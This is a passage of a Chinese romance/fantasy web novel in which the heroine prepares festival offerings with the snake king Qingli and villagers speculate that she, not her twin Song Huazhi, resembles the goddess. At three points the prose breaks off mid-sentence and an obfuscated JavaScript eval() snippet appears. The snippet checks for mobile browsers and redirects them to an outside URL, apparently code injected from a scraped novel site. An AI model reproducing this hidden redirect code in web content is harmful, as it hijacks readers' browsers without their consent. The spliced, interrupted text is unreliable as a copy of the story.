赶忙又将桌子上用彩绘瓷盖盖住的一小瓮炸荷花捧给他:“我一早起来刚炸的,有咸口的还有甜口的,你当零食吃。” 他接过小瓷瓮,另一只手掂着我给的开心果,剑眉微挑,勾起唇角: “昨夜不睡觉剥果子,竟是为了本尊……阿鸾对本尊的喜好,就这般上心?” 第85章 你比宋花枝,更像神娘娘 “什么话。” 我将今天要送去祖祠的供礼放进描金红漆盘里,正儿八经道: “咱俩生活在一个屋檐下,以后还要过一辈、咳,很多年。你的喜好我肯定要多留心啊!而且,你前几天不也亲自下厨给我做了醉虾与糖醋鱼嘛。 我不怎么会吃鱼虾,你就不厌其烦地把壳剥好,刺挑出来再夹给我……” 说到这,我突然想起了过世的外婆。 心头陡然酸溜溜的。 咬了下唇,低声说:“除了外婆,你是第一个给我挑鱼刺,剥鱼虾的人、呃蛇!你对我上心我当然也要对你上心了,这叫真心换真心。” 红漆木盘的正中间放着一朵刚刚绽放、里层花瓣还半拢着的粉红荷花。 围着荷花放了一盘荷花酥、一盘荷叶饭团、一碗花瓣扣肉、一碟炸荷花。 外层是开心果葡萄干、红枣杏仁等八小碟坚果,以及葡萄苹果橘子蜜桃四贡盘新鲜水果。 鬼师给西王母的供礼以花果为主,整份供礼中唯一一盘荤菜我还特意做得素雅寡淡,用新鲜荷花花瓣搭配,总算显得不那么突兀了…… 最后再放上两枚红鸡蛋。 不对…… 应该是一枚。 我拿出一枚放回蛋筐里。 但,想了想,又把鸡蛋给放了回去。 青漓见我犹豫,不解问道:“你有强迫症?” 我:“啊?” 青漓瞟了眼红鸡蛋:“那你为何将鸡蛋拿出去,又放回来。你喜欢凑双份?” 我一愣,意识到他理解错了,赶忙摆手解释:“不是不是,不是强迫症……” 从蛋筐里拿出一枚红鸡蛋送给他: “我们祈神节拜王母,一个红鸡蛋,代表家里一口人。往年我都是放两个的,但刚才我突然想起来外婆去世了,家里就剩我一个人……” 这才把红鸡蛋拿出来一个。 他立即意会了我未说出口的那些信息,深深看了我一眼,轻轻问:“那后来,为何又放回来了。” 我无奈道: “因为我忘记把你算上了啊!外婆去世了,但是今年家里多了个你,所以还是得放两个鸡蛋。你和我是一家人,鸡蛋不能漏算你的,不然西王母赐福保佑的时候把你给忘记了怎么办。 供神的鸡蛋,家里几口人就放几个,这样等祈求西王母保佑全家健康平安的时候,西王母娘娘能一眼就辨认出家里有多少人。 咱们家……一个人都不能少。” 他听完,清澈目光落在我手里的红鸡蛋上,喃喃重复:“咱们家、一个都不能少……你将本尊,也视为家人。” 我这才发现他一手开心果一手炸脆莲花,已经没有办法接红鸡蛋了,就索性直接上手,把红鸡蛋揣进他的衣襟里,“想什么呢,你当然是我的家人。” 半开玩笑地逗他:“蛇王大人,只要你不吃我,你就是我唯一的亲人!” 他淡淡弯唇:“又是鸡蛋又是坚果零食的,本尊哪有闲工夫吃你。” 正说着话呢,阿乞和银杏已经直接推门找了过来—— “镜镜姐你对帝君怕是有误会,帝君他可是修成正果的大佬,早就戒**了。” 阿乞蹦蹦跳跳地来到我们身边,目光落在我准备好的供礼上,哇了声激动感慨道: “好漂亮的供礼!色香味俱全啊!这荷花扣肉做的,瞧着就香而不腻,清爽可口。想不到镜镜姐你还有这手艺!” 扭头又和银杏吐槽:“这么一比,师叔祖做的供礼真的、卖相超差!” 银杏迈着欢快的步子赶过来:“哎呀淡定!我爸那手艺,能把肉给做熟就已经不错了。” 阿乞一脸怀疑:“师叔祖这厨艺,到底是怎么把你养大的……” 银杏双手叉腰平静解释: “这就不懂了吧,家常菜和供神的菜做法是不一样的,我爸虽然不会做卖相好的稀奇菜,但他家常菜做的好啊! 什么小鸡炖蘑菇、白菜豆腐汤、油焖青菜、炖鱼炒鸡,他做的贼六好不好。 再说你这段时间一直住在我家,一日三餐的饭菜可都是我爸准备的,你不照样每顿炫得挺饱,吃得很舒坦嘛! 也没见你嫌弃他老人家厨艺一般。” 提起这些,阿乞顿时更颓废了: “还说呢,师叔祖的家常菜做得是不错,但我去你家半个月,有十二天中午的都吃小青菜! 青菜炒豆腐、青菜炖豆腐、青菜炖粉丝、素炒青菜闷青菜、青菜丸子青菜汤,我人都快吃成青菜了!” 重重叹了口气,阿乞苦恼道: “但话又说回来,师叔祖虽然每天喂我吃青菜,但和师叔祖一起生活的这半个月却是我这辈子吃得最好、睡得最饱的一段时光! 小时候和姐姐住一起,姐姐双目失明不方便,家里的亲戚们又不愿意对我们姐弟俩稍加照拂,我和姐姐没钱买米面,就经常饿肚子。 有好几年都是姐姐背着我,手里握着一根竹竿,走一步用竹竿探一步,艰难的带我上山挖野菜。 偏偏我幼时又食量大,很多时候姐姐挖一天的野菜带回去煮汤,最后能吃的东西都全进了我一个人肚子,姐姐只能站在锅台前喝上两口煮野菜的汤水。 后来,我和姐姐遇见了师父,我选择跟师父走,也是因为师父答应过我,只要我乖乖拜他为师跟他学习巫术,追随他闭关修炼,他就能保证我姐姐以后再也不会饿肚子。 跟师父离开村子那天,我亲眼见到师父手一挥,我家屋后就生出了很多笋子,屋前荒废的菜地里也瞬间长满了取之不尽的莴苣与大白菜,甚至连屋东边的小水池里都多出了很多条白白胖胖的大肥鱼。 家里的米缸盛满了白莹莹的大米,没有我在家拖累姐姐,姐姐一个人吃不了多少东西,师父给的粮食足够姐姐一人吃上好几年。 原本我还想着,也就五年,等五年一到,我学成归来,就有能力养活姐姐了,可没想到……” 阿乞低头,刻意抬手捂住自己微微泛红的双眼,言归正题: “我跟在师父身边这几年,过得简直不是人类的生活! 我师父早已修到了辟谷境界,可我不行啊,我还是肉体凡胎呢! 师父没有生火做饭的习惯,他自己不吃五 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16184964|178489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谷还不允许我吃! 渴了他就让我去喝山泉水,饿了他就赶我去山里摘野果子垫肚子。 我跟了师父好几年,愣是一口肉都没吃上! 有年冬天大雪封山,我实在不想冒雪跑出去找野果垫肚子了,就在师父闭关的洞府附近偷偷做个弹弓打了一只鸟,准备带回去拔**烤着吃。 谁能想到,竟被我师父逮了个正着!我师父非说修行者食五谷容易染上一身浊气,吃肉更是阻碍修行,那回硬是狠心罚我在洞外跪了一天一夜…… 可像帝君和师叔祖修为这么厉害的人,不也遵守一日三餐的规律么。 从小到大,也就只有师叔祖会把我当普通人养。” 银杏嘶了声: “怪不得,你刚来我家那几天,像是没沾过油水似的,我爸炖了一整只老母鸡全被你一个人半小时给啃光了,骨头都没放过……结果后来跑了三天的茅厕! 你以为我爸每天做青菜是因为抠门或者厨艺差,不会做旁的菜吗? 是因为他老人家看出来你多年没吃荤,怕突然给你尝到油腥你肠胃受不住,这才只能每天用青菜给你过度一下!” 嫌弃的瞟了眼阿乞快掉下嘴角的哈喇子: “你要是实在馋得慌,就去厨房拿筷子,橱柜里剩的还有,你去吃那一份,别把口水流祈神节的供礼上了,当心不敬神明遭雷劈。” 阿乞闻言立马两眼放光兴奋道:“橱柜里有存货?好耶!我不行了,太香了,我必须先吃口尝尝味!” 银杏拿阿乞没办法地摇头,扬声催促:“你快点,别误了时辰,我们这边先收拾着!” “好。” 逗完阿乞,银杏又赶忙问我身边的青漓:“蛇王老爷等会要一起去吗?” 青漓将开心果揣袖子里,捧着炸莲花清闲自在道:“不去了,本尊在家等阿鸾,阿鸾做了这么多好东西,本尊可以边吃边等。” 银杏忍不住感叹:“你俩这小日子过得,越来越像新婚小夫妻了!” 我把供礼用干净红布罩住,再放进雕花红木盒子里, “你别看他这么大的一个人、呃一条蛇……其实吃得很少,很好养活的。” 银杏低头憋笑,故意重复:“很好养活……”瞟了眼青漓手里的小零嘴:“嗯对对对,主要你养得也蛮精致。” 我:“……” 打趣完,银杏突然挽住我的胳膊表情认真起来:“昨天晚上山里打雷了,你听见了吗?” 我点头:“嗯,好像是夜里十一点那会子,雷声挺大,我刚睡着就被吓醒了。” 银杏眼神偷偷瞄向青漓,挽着我一脸严肃: “我刚才在路上撞见了张家婶子和王家媳妇,隐约听见她们说什么……娘娘庙昨晚被雨水淹了,神娘娘的神像突然皱眉垂目,表情变了,而且还说……” “还说什么?”我好奇追问。 银杏哽了哽,犹豫道: “不知道怎么回事,今天早上村里传遍了一个说法,说…… 族里最像神娘娘的人,不是宋花枝。 她们说……你比宋花枝,更神似神娘娘。” 第86章 镜镜是神娘娘转世吗? “我?” 我一愣,不由自主地浑身起鸡皮疙瘩:“还是别开这种冷飕飕的玩笑了,多瘆人啊!” 银杏不解地小声咕哝: “别人还盼着自己长得像神娘娘呢,你怎么一脸嫌弃……何况,从小我就觉得,你是真的比宋花枝更像神娘娘。” 我轻描淡写地一语道破: “那你说,如果我着实比宋花枝更像神娘娘,为什么村里其他人,从来没提过?” 银杏哽住,憋了半天才支吾嘟囔道: “还不是因为、宋花枝是神娘娘转世的说法先入为主了。你和宋花枝又是一母同胞的双生女,本来相貌就有几分相似。 族中人一早就默认宋花枝是神娘娘了,所以哪怕你也像神娘娘……他们也会觉得,你单纯是沾了宋花枝的光,长得像宋花枝罢了……” “那有没有可能,我们俩都不是神娘娘转世?” 我平静拆穿: “长得像谁,就是谁的转世吗?那宋花枝还像谢妄楼的白月光呢! 再说,哪有那么多神明转世。 从前宋花枝是圣女,又有大祭司这个强硬后台撑腰,族中人为了从她身上获取利益,就承认她是所谓的神娘娘。 现在八成是看宋花枝没什么利用价值了,就来编排我。” 银杏不以为然地坚持道: “可镜镜你就是更像神娘娘嘛!要是没有宋花枝这些年占着神娘娘转世的名头到处摇晃,别人肯定早就发现了!” “神明转世这个光环我可不敢乱接,容易折寿的。” 我拍拍银杏手背从容劝道: “神娘娘的身份这二十多年来都快被宋花枝母女俩给营销烂了,咱们做人呐,还是脚踏实地比较好,没事别瞎给自己编buff。 我宋鸾镜就算不是神仙转世,我也是个行得正坐得端,无愧于心的正常人! 没有神仙转世的加持,我一样会过得很好!” “我知道你看得开,我只是看不惯凭什么宋花枝就能拿这个幌子享尽优待……” 缓了缓,银杏突然歪头,两眼冒光地欣喜问青漓: “哎,我们在这里猜来猜去的拿不准,干嘛不直接问蛇王老爷呢! 那娘娘庙当初就是为了**蛇王老爷才出现的,宋花枝是不是神娘娘转世,蛇王老爷不应该最清楚吗!” 边听八卦边吃花瓣零嘴的青漓动作一顿,黯眸渐深。 我见状赶紧拉过银杏,无奈低声提醒:“你别哪壶不开提哪壶,当心他收拾你!” 余光偷瞄了眼脸色很快恢复正常的青漓,我没心没肺地壮着胆子又补充:“虽然你说得很对……” 一片金黄酥脆的花瓣送入口中,青漓优雅吃着零食,沉声问我:“阿鸾也想知道答案?” 我张了张嘴,正思索该怎么回答才能避免戳到他老人家的自尊心,银杏这一根筋的家伙就抢先点头如捣蒜的喊道:“她想的!她特别想!” 我:“……” 哎……还好当年娘娘庙**青漓的事,真相另有隐情。 不然,当着青漓的面问他仇家的事,青漓非得把银杏这个口无遮拦的姑娘给徒手撕吧了! 青漓闻言,静了静。 为了保险起见我赶忙一把捂住银杏的嘴,干笑着安抚:“你要是不想回答,可以不说,以后我们绝不会再乱问了……” 只是,我话音未落,青漓就气定神闲地轻漫道了句:“她不是。” 不是…… 我恍然,放开银杏,下一秒果断道: “看吧,我就说,哪有那么多神仙转世,神娘娘这个身份就是大祭司搞出来的营销号!” 听到答案,银杏也没有感到很吃惊,只在沉默两秒后,狗狗祟祟地又试着问青漓: “那……蛇王老爷,镜镜是神娘娘转世吗?” 青漓拿花瓣的手再次顿了下。 我无语地拽上银杏强制打断她的胡思乱想: “我们该走了,不然去迟了又要遭白眼!快把供礼拿上……阿乞,走啦!” 躲在厨房里偷摸大快朵颐的阿乞塞了满嘴肉口齿不清地含糊回应:“哦,我来了……” 银杏不甘心地频频委屈扭头求助青漓:“蛇王老爷,镜镜到底是不是神娘娘啊……” “你就告诉我呗!” “啊——我快要被好奇心折磨**,给我个痛快吧……” 张牙舞爪的银杏最终还是被我无情搂着腰拖出了家门。 手里的供礼被阿乞带来的长老会年轻伙计接了过去,我放开银杏,抖了抖身上的黑纱红裙,拿她没办法的劝道: “你还是别记挂着神娘娘了,青漓都说了,宋花枝不是神娘娘转世,这就证明宋花枝的脸与娘娘神像相似纯属巧合,不管我和宋花枝到底谁更像神娘娘,都只是巧合。 话又说回来,连出生时凤凰迎接的宋花枝都不配与神娘娘扯上关系,更何况是平平无奇的我了。” 银杏不高兴地跺脚: “万一,你就是呢!你一出生,老祭司和我爸就看出来你一身灵气。 宋花枝身上的圣女气运与你身上的灵气完全不一样,如果不是神仙转世,怎么可能……” 我言简意赅地拿出有力证据堵她嘴:“青漓会娶自己的仇家当老婆吗?” 银杏呛住,顿时尴尬得眼尾直跳:“咳……” 半晌,才不得不承认:“好像、是有点道理。” 我耸耸肩,两手一摊:“我要真是神娘娘转世,你觉得以青漓的清冷性子,还会将我留在身畔好生照顾着吗?” 银杏挠挠头,面上表情略显扭曲:“哈,也是啊。换做我,我不趁月黑风高爬你床掐你脖子就已经是对你仁慈了,怎么可能真把你当老婆照顾。” “所以啊,用脚指头都能想到,我和神娘娘没关系。”我坦然道。 宋花枝需要用神娘娘这个身份来树立自己的威望,增加自己在族人心目中的信服力,更需要用神娘娘转世这个幌子来稳定圣女的地位。 可我,并不需要这个凭空捏造的身份来助自己得到些什么。 成为鬼师,其实是在我的意料之外,但鬼师的身份也着实能帮我在族中站稳脚。 我做了鬼师,便会承担起鬼师应尽的责任与义务。 而神娘娘只是个虚无缥缈往自己脸上贴金的称号,我就算得到了,除了会成为族人们盲目信仰的对象,面上风光,并没有其他好处。 还不如少些贪欲,老实躺平,清静度日。 “什么爬床掐脖子?” 阿乞吃得油光满嘴,临走还不忘偷我两枚荷花酥,小跑出来与我们会合: “谁是帝君的仇家?帝君还有仇家?帝君的仇家不是九黎山一带的吧!” 银杏张嘴欲接话,但碰上我的眼神提示后,立马会意,顺着阿乞的话接下去: “蛇王老爷的仇家,为什么不能是九黎山一带的生灵?” 阿乞啃着精致的粉色荷花酥大大咧咧道: “开玩笑,帝君可厉害了,帝君可是九黎山一带的主……呃,蛇王! 谁敢在帝君的地盘上撒野,不想活了?” 银杏挑眉接着套话:“那个灰狐大仙就敢啊!” 阿乞一本正经地竖起一根手指,晃了晃, “不不不,谢妄楼那种低级的小垃圾在帝君跟前蹦跶,顶多算只不知死活的小蝼蚁,他还没资格做帝君的仇家! 帝君现在留着他,只是想弄清他背后的关系网,毕竟谢妄楼可是自称得到过神明的点化,他手里那颗灵珠也不是凡物。 若非是他得了某位大神的欢心,大神将灵珠赐给了他,以他的三脚猫本事,别说操御灵珠,让灵珠认主了,怕是还没碰到灵珠就被灵珠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16184965|178489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 物理火化了! 帝君动他容易,但怕的是,他身后那尊神不简单。” 我恍然了悟,怪不得青漓明明很多次都能一掌拍死谢妄楼,可末了还是轻易放过了他呢! “那,不是还有神娘娘吗?你要晓得,当年可是神娘娘出手将他镇在娘娘庙下的。”银杏循序渐进地问。 阿乞吃得满嘴饼渣,拍拍手潇洒道: “虽然我也不晓得娘娘庙镇青蛇大妖的传说是怎么散布出来的,但可以确定的是神娘娘打不过帝君。” 我抓住机会追问:“可他们都说,神娘娘是青漓的克星。” “什么狗屁克星!”阿乞听到有人这么贬低他偶像,一脸的不服气。 银杏神补刀:“都被人家镇在禁地那么多年了,怎么不算克星。” 阿乞当即一根筋地愤愤反驳: “才不是呢!帝君可比神娘娘存在于九黎山一带的时间还早,帝君的身份不知道要高神娘娘多少个品阶、” 说到这,阿乞像是猛地意识到自己说漏嘴了,小脸一白,条件反射地一把抬起双手怯怯捂嘴。 警惕地瞪着我俩:“我我我、我什么都没说……该去祖祠了,快走快走!” 话音没落,人就已经心虚地跑远了。 银杏见状,淡定与我相视一眼,挽住我的胳膊与我一起出发。 “我就说吧,这小崽子和我爸,绝对有事瞒着我们俩!” “青漓的身份,听起来越来越有意思了。” 比神娘娘还高贵…… 那就不止是青蛇大妖那么简单了。 这家伙不会已经飞升了吧! 是了,如果阿漓真是神。 认息蛊从不往我身上扑,我以纯净之身成为鬼师…… 就都能解释了! 他如果是神的话…… 那我还出门求神拜佛干什么!我直接在家里求他不就得了! 大不了早晚给他磕个头,把他当神像供着。 供家神,家神可能会不理我。 供他,他想不搭理我都难啊…… 上次买彩票,应该让他给我选号码的! —— 月阴村,祖祠大门外。 上百张红漆大方桌一字排开,百米长队自祖祠门口排至山脚下贺老三家院门外。 遥遥望着,宛若崎岖山路上蜿蜒醉卧了条百米殷红巨龙。 我们到地方的时候,村里人已经来了大半,上百张红漆方桌有八十多张都放好了供礼。 李大叔与长老会的帮手们正守着队伍前方第九张红桌等我们过去。 我和银杏将两家供礼送过去后,被李大叔摆在了一张桌上。 山下青烟袅袅,烟火味浓,李大叔低声解释道: “头桌每年都是留给大祭司与圣女放贡品的,今年咱们应该放在第二桌,但我看你们都不大乐意见着前面人,供礼摆一起,怕你们心里膈应。 所以就把第二桌让给了族里的族老,挑了第九桌咱们用。 今年阿乞在咱们家,所以咱们的这份供礼也算和大长老一起供的,鬼师与大长老供礼放一张桌子上,不算坏规矩。” 银杏没良心地小声挑破:“爸你是想蹭镜镜供礼的排面吧!你看镜镜做的供礼多高级漂亮,再看看你做的水煮白肉与大肘子……” 李大叔啧了声,理直气壮道: “你这孩子懂什么,供礼供的是心意,神明又不会真吃咱们的猪肉肘子,要是西王母挨家挨户尝咱们的贡品,那不得把她老人家撑出个好歹啊!” 阿乞谨慎提醒:“师叔祖,冷静,慎言!” 李大叔不好意思的咳了咳,别扭的比了个OK手势:“懂,懂!” 东西都摆上桌,李大叔取出两支香插在桌面正中央那朵粉荷花的嫩黄莲台上。 银杏四处张望了一番,好奇问李大叔:“大祭司和宋花枝呢?” 第87章 她是……西王母?! 李大叔虔诚拜拜,又压了张符在桌角: “供礼一早就到了,人还没到呢。” 说话间祖祠门口已经燃放起了三米长的大鞭炮,有人将一盏数十米高、做工繁复精美、盛放千花立千烛的大灯笼从大货车上运下来。 几十名族人一起小心翼翼地抬着大八角宫灯,合力把灯笼送进祖祠,用麻绳吊在祖祠的房梁上…… “迎神灯,安神入宫——” 偌大的彩绘宫灯悬在祖祠正堂微微摇晃,宫灯上下大小灯面数百块,每一块,都有老画师亲自提笔彩绘一幅赏心悦目的工笔画。 有凤凰牡丹,有涧边兰花,有百蝶送福,还有百子贺寿图…… 从花草树木到飞禽走兽,从游龙戏凤到美人春愁,一眼望去,百花争艳千图精妙。 宫灯八角垂着族人们亲手绣成的彩色神幡,神幡下银铃铛叮叮作响。 宫灯由下自上,层层似楼似塔。 每一层的琉璃灯骨上,都用金色铁丝稳稳缠上几百支金色供神灯烛。 宫灯顶端檐角探出八枝金花,花蕊亦有灯烛未燃,花下琉璃珠串轻轻碰撞。 族中青年们踩着木梯将九层宫灯的千盏灯烛依次点亮,烛光燃起,渐有花香混入空气中,嗅着沁人心脾。 李大叔双手背后,低低感慨了句: “这千花千角灯,二十年来,阴苗族只点燃过两盏。今年,是我第三次见。 第二次,是大祭司刚怀上鸾镜与花枝那年,按照族中规矩,圣女有孕,大祭司一脉后继有人,则意味着整个阴苗族亦会生生不息,枝繁叶茂。 为了向神明表达谢意,祈求神明保佑下一任圣女平安健康,阖族必须要做一盏千花千角灯供奉于祖祠内,一为拜祭神明,二为祈求阴苗族列为先祖庇佑。 那会子,鸾镜的父亲还在。挂那盏千花千角灯的青年,正是我、老赵、还有鸾镜他爹……如今二十多年过去了,再见这盏灯,已经物是人非了。” 村里族老的大孙子正捧着献灯者的名单大声吆喝,公之于众: “槐花村蒋家供灯一盏、刘家献琉璃珠串八串、沈家绣神幡一副、祝家神幡一副、秦家凤蝶图一张……” “今年是有什么特殊情况吗?为什么大祭司突然下令让人做千花千角灯了?”身后有村民偷偷议论。 另一村民揣着双手看热闹:“谁知道呢,说是二十年没供灯了,今年请一盏给全族祈福。” “哎你们还没听说吧!九天前,山里现吉兆了!说是,上古时期西王母留给咱们族一滴甘露,那甘露落地就成了一片莲花池! 后来不知怎么的,莲花池干了,池子里的花啊鱼啊都死完了,这都好几千年了,九天前的夜里,有族人看见山里有七彩光芒刺眼,以为是出了什么宝贝,就好奇地摸黑过去看了眼。 结果这一看才发现,那莲花池突然又出现了!哎呦那池子里五颜六色的,水波翻腾,水底下还有东西在叫,像鸟一样,也不出来。 等天一亮,他们喊大祭司过去一瞧,结果你们猜怎么着,池子里开的都是金莲花啊!” “天啊,这么神奇吗?真的假的,我们怎么没听说!” “你们当然没听说啊,莲花池是上河村的村民发现的,大祭司也是上河村的村长喊过去的。 大祭司说莲花池里的莲花荷叶关乎我们阴苗族的气运,不能让手欠的随便给它薅了,知道的人越少越好,所以就把这个消息给封锁了,还在莲花池附近下了禁制结界,不许任何人靠近。 我要不是昨天去上河村走亲戚,恰好听我那亲戚说到这件事,我也不晓得!” “难怪,我们对此事一无所知……难怪都临近祈神节了,大祭司忽然下令让阴苗族八寨十三村所有村民一起赶制千花千角灯呢!” “对啊,大祭司还说,那是西王母晓得咱们族近几百年气运不佳,这才让莲花池活过来,给咱们阴苗族续命数改气运呢!” “那今年这祈神节,我们可要好好拜拜西王母。” 身后的中年男女凑在一起议论得热火朝天,银杏一头雾水地扯了扯李大叔袖子:“爸,什么莲花池西王母,你听说了吗?” 阿乞抢先回答: “这个传说我听过!据说当年西王母乘鸾车入九黎族,带走了两位大将军回昆仑把门,又赏赐了九黎族很多仙丹妙药,也就是咱们现在所称的阴蛊! 传授九黎族秘术,允九黎族修炼长生不老之功,心想事成之灵咒。 临走时,西王母裙边金莲花瓣无意坠落一滴瑶池甘露,这滴甘露落在上河村那段山脉里,形成了一片小莲池,莲池里长满了通体仙气的金莲花,九黎族的先祖就称之为小瑶池。 但是不知为何,小瑶池在两千年前的某一日突然干涸了,池塘里的金莲花也尽数灭绝。 当时族里几位长老特别害怕小瑶池干枯会不会影响我们阴苗族的气运,他们也试过很多种方法重蓄小瑶池,可都没成功。 后来又过了几百年,族里长老发现小瑶池的消失似乎并未对阴苗族产生任何影响,这才慢慢放下心来,但小瑶池突然干枯仍一直是历代长老最大的一块心病。 至我师父这一代,依旧尝试过为小瑶池重聚仙。 师父当年还曾试图引长生泉的泉水注入小瑶池,但好不容易运用地渠引水**打通小瑶池与长生泉之间的地下水脉,令水道成功通了水,但却发现小瑶池根本不接纳长生泉的泉水。 泉水还未注入小瑶池,就在离小瑶池十米距离的地方炸开了,害得上河村百十亩农田差点遭了水灾。小瑶池那地方邪门着呢!” “不接纳长生泉泉水……”我紧皱眉心,不加思索便脱口而出:“它嫌长生泉的泉水脏。” “不错。” 李大叔赞同接话,面色凝重道: “小瑶池是瑶池水,瑶池水,那可是中天最纯净的一泓水,世上没有任何东西,比它更爱干净。任何污秽之物,瑶池水都无法接纳。 幸好你师父当年没有强行引水注瑶池,不然,按现在的情况来看,当年的小瑶池并不是真的干涸了,而是因为某种影响,藏起来了,现在影响它的因素消失了,它就自己从池下冒出来了…… 要是这两千年间,有人逼迫它接纳污秽水,惹它震怒,它怕是会发怒淹了整个阴苗族!” “啊?可、师父引水入瑶池的时候,长生泉还没有成为长生泉,泉里也没有长生玉女的尸油,那都是好几十年前的事了。 那会子,族中长老们和大祭司都知道,整段九黎山脉,唯有长生泉那片水域灵气最重,水质最好、最干净,泉水不脏,小瑶池为什么还排斥?”阿乞不是很理解。 李大叔淡然道: “亏你还学过道门法术呢!竟不知从玄学角度来讲,判断一片水域干不干净,并非纯粹靠一双肉眼看! 表面干净的东西,内心深处可能还藏着污秽。 就像我们人类,有的人日日拜佛诵经,施舍乞丐,买鱼放生,满嘴慈悲连一只蚂蚁都舍不得踩死,可背地里却干着违法缺德的交易! 有的人嘴上脏话连篇,为人最是刻薄冷漠,不讲道理,但却能在非亲非故之人遭遇危险时,施以援手,挺身相救。 修炼啊,修的不是什么火眼金睛,而是你的这颗心! 当你的心有能力不受外界及表面因素影响,判断一滴水,一个人是否真干净的时候,你才算修成了一半! 长生泉的水,的确是九黎山一带最干净的水,可我们觉得它干净,是因为它清澈、灵气重、生喝也不闹肚子,甚至还能滋养身体。 但小瑶池要的干净水,是从始至终都没有被污染过的,水是干净的、水灵也是干净的水! 而人的淫念、贪婪、嗔怒、杀心,都有可能污染长生泉的水灵。 风扬起岸边的植物,花瓣与草叶上的灰尘会落入水中,形成污浊。 树上的叶子掉入水中,也会弄脏水灵。 更何况,那所谓的长生泉在没有被淑贞监管起来前,村里多少孩子往里面撒过尿。 你就说,你是小瑶池,别人用带尿的水泼你,你能忍吗!” 阿乞被怼得哑口无言,挠挠头尴尬笑道:“我以为,时间长了泉水可以自己净化来着!” 银杏故意逗他:“猫往你杯子里尿尿,你会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16191013|178489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刷干净了继续用吗?” 阿乞当即头摇得像拨浪鼓:“那绝不可能,猫尿可骚了,刷干净了也会有股直冲天灵盖的味道!” 银杏偷笑:“那不就得了!” 李大叔伸手找银杏要火,烟瘾又上来了,叹息道: “小瑶池的事我先前并没有收到消息,估摸蛇王大人这几天也没闲心管外面的事。 小瑶池在上河村,淑贞命人**息是对的,毕竟小瑶池关乎整个阴苗族的气运。 在族里这些大事上,淑贞向来安排得妥当。” 不得不承认,李大叔与青漓都说得对。 宋淑贞虽然不是个好母亲、好女儿,但却是个称职尽责的大祭司。 她虽然会为了一己之私,不惜置半个孟春寨的村民于险境,百般设计就为替她大女儿抓到王母肉芝,好助她大女儿增长修为…… 但在这种关乎全族生死的大事上,她还是会慎重考虑,稳妥操作的。 阿乞耸耸肩不以为然: “这些大事她当然会慎之又慎了,阴苗族要是没了,她还给谁当大祭司?我都怀疑她是不是打着为阴苗族着想的幌子,想光明正大独占小瑶池!” “那倒不至于。”李大叔拿着火柴划出一抹火光,点燃烟锅里的烟草,呷了口无情道:“小瑶池的灵气太重,天上水,她和宋花枝母女俩独吞不下,容易撑死。” 阿乞:“……” 正说着话,背后不远处有村民忽然着急提醒了一句:“大祭司来了!” 紧接着,宋淑贞就在一众年轻男人的簇拥下,拄着象征祭司身份的乌灵木权杖,一身盛装赶来了祖祠。 目光直视前方,面无表情地快步从我们跟前走过,衣袍生风,假装没看见我们,径直奔向祖祠正堂。 而她身后跟着的年轻男人手里,则捧着一盘……灵物? 红漆托盘里的东西被红布遮住了,可红布能遮盖其形,却盖不住里面物件通体散发出的熠熠金光。 且年轻男人路过我们面前时,平地恰好掀起一阵寒风,风扬起红布的一角,露出发光的灵物半副正容来—— 更碰巧的是,这一瞬间的景象,我和银杏李大叔还有阿乞四人全都看见了! 目送男人跟着宋淑贞进了祖祠正堂,阿乞才压低声诧异惊呼:“是、韶华引!” 银杏:“啥?!不是一朵金色绣球花吗!” 我:“只是长得像绣球花,但它和王母肉芝一样,是仙界灵物,能通体散发金光,身上还有一股独特的奇香。” 李大叔:“这股奇香,人类闻不到,不过我刚才看见他们手里那朵韶华引上,还罩了一层密封咒。” 银杏抽了抽嘴角:“哦,我懂了,就是朵长在仙界的绣球花呗!还韶华引,仙人们真会起名字!既然那什么奇香人类闻不到,那大祭司还多此一举下什么密封咒啊!” 李大叔吐了个烟卷儿:“人闻不到,鸟可以闻见。韶华引,引的是凤凰。” 银杏:“引凤凰干嘛?” 李大叔:“小瑶池的水底,藏着一只凤凰。” 银杏:“啥?!” 阿乞:“啊?!” 我:“您老怎么知道?” 李大叔瞟了我们三人一眼,烟杆随意往后一指:“答案来了。” 我们三动作一致猛地往后看去,正撞上一路小跑而来,打算给阿乞通风报信的长老会何三。 乍一被我们三人以如此怪异的眼神盯上,何三吓得一颤,捂着小心脏险些原地蹦起来: “哎呦我的妈吓死我了!大长老鬼师娘娘银杏你们干嘛呢!你们怎么知道我来了,我刚才还想着偷偷从后面吓唬大长老来着,这下可好,偷鸡不成蚀把米。” 银杏尴尬干笑:“哈、哈……”迫不及待地进入正题:“你来找我们是要干嘛来着?” 何三陡然想起正事,立马挺直脊背正经起来,环顾四周确认当下情况安全后,探过脑袋小声和我们告状: 